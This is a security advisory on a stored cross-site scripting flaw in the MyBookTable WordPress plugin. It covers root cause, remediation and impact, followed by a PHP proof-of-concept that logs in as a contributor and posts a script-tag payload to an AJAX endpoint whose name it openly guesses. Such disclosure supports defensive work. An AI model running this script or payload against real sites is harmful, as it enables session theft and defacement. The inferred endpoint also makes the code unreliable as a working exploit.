Atomic Edge analysis of CVE-2025-62743 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the MyBookTable Bookstore WordPress plugin, affecting versions up to and including 3.5.6. The vulnerability allows attackers with contributor-level or higher privileges to inject arbitrary JavaScript into pages. The injected scripts execute when users view the compromised pages.
Atomic Edge research infers the root cause is insufficient input sanitization and output escaping, consistent with CWE-79. The plugin likely fails to properly sanitize user-supplied data before storing it in the database or fails to escape that data when rendering it in the browser. This inference is based on the CWE classification and vulnerability description, as no source code diff is available for confirmation. The vulnerability exists within the plugin’s book management or content rendering components.
Exploitation requires an authenticated attacker with at least contributor-level access. The attacker likely submits malicious script payloads through a plugin-specific input field, such as a book title, description, or metadata field. The payload would be delivered via a POST request to either a WordPress AJAX endpoint (`/wp-admin/admin-ajax.php`) with an action parameter like `mybooktable_action`, or through a direct plugin administration page. A typical payload might be `alert(document.cookie)` or a more malicious script designed to steal session cookies.
Remediation requires implementing proper input validation and output escaping. The plugin should sanitize all user-controlled input on the server-side using WordPress functions like `sanitize_text_field()`, `wp_kses()`, or `sanitize_textarea_field()`. Output must be escaped before rendering in HTML context using functions like `esc_html()`, `esc_attr()`, or `wp_kses_post()`. A patch should also enforce strict capability checks for all data modification operations.
The impact of successful exploitation includes session hijacking, privilege escalation, and client-side data theft. An attacker could steal administrator session cookies, redirect users to malicious sites, or deface the website. Since the XSS is stored, the payload executes for every visitor to the infected page, amplifying the attack’s reach. The CVSS vector indicates scope change (S:C), meaning the vulnerability can affect components beyond the plugin’s security scope.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-62743 - MyBookTable Bookstore <= 3.5.6 - Authenticated (Contributor+) Stored Cross-Site Scripting
<?php
/**
* Proof of Concept for CVE-2025-62743
* This script demonstrates a simulated attack against the MyBookTable plugin.
* Since the exact vulnerable endpoint is not confirmed from code, this PoC
* assumes a common WordPress AJAX pattern for plugin data submission.
* The attacker must have valid contributor-level credentials.
*/
$target_url = 'https://example.com'; // CHANGE THIS
$username = 'contributor_user'; // CHANGE THIS
$password = 'contributor_pass'; // CHANGE THIS
// Payload: Basic XSS to demonstrate vulnerability
$xss_payload = '<script>alert("Atomic Edge XSS Test - CVE-2025-62743");</script>';
// Step 1: Authenticate to WordPress and obtain cookies/nonce
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
// Step 2: Attempt to exploit via a likely AJAX endpoint
// Assumption: The plugin uses admin-ajax.php with an action containing 'mybooktable'
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$exploit_data = array(
'action' => 'mybooktable_save_book', // INFERRED action name
'book_title' => 'Exploit Book ' . $xss_payload, // INFERRED vulnerable parameter
'nonce' => 'retrieved_from_page' // Nonce would need to be extracted from a prior request
);
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
$ajax_response = curl_exec($ch);
// Step 3: Check for success indicators
if (strpos($ajax_response, 'success') !== false || curl_getinfo($ch, CURLINFO_HTTP_CODE) == 200) {
echo "[+] Exploit attempt sent. Check target page for XSS execution.n";
echo "[+] Note: This PoC uses inferred parameters. Actual exploitation may requiren";
echo " adjusting the 'action' value and parameter names based on the plugin.n";
} else {
echo "[-] Exploit attempt may have failed. HTTP Code: " . curl_getinfo($ch, CURLINFO_HTTP_CODE) . "n";
}
curl_close($ch);
?>
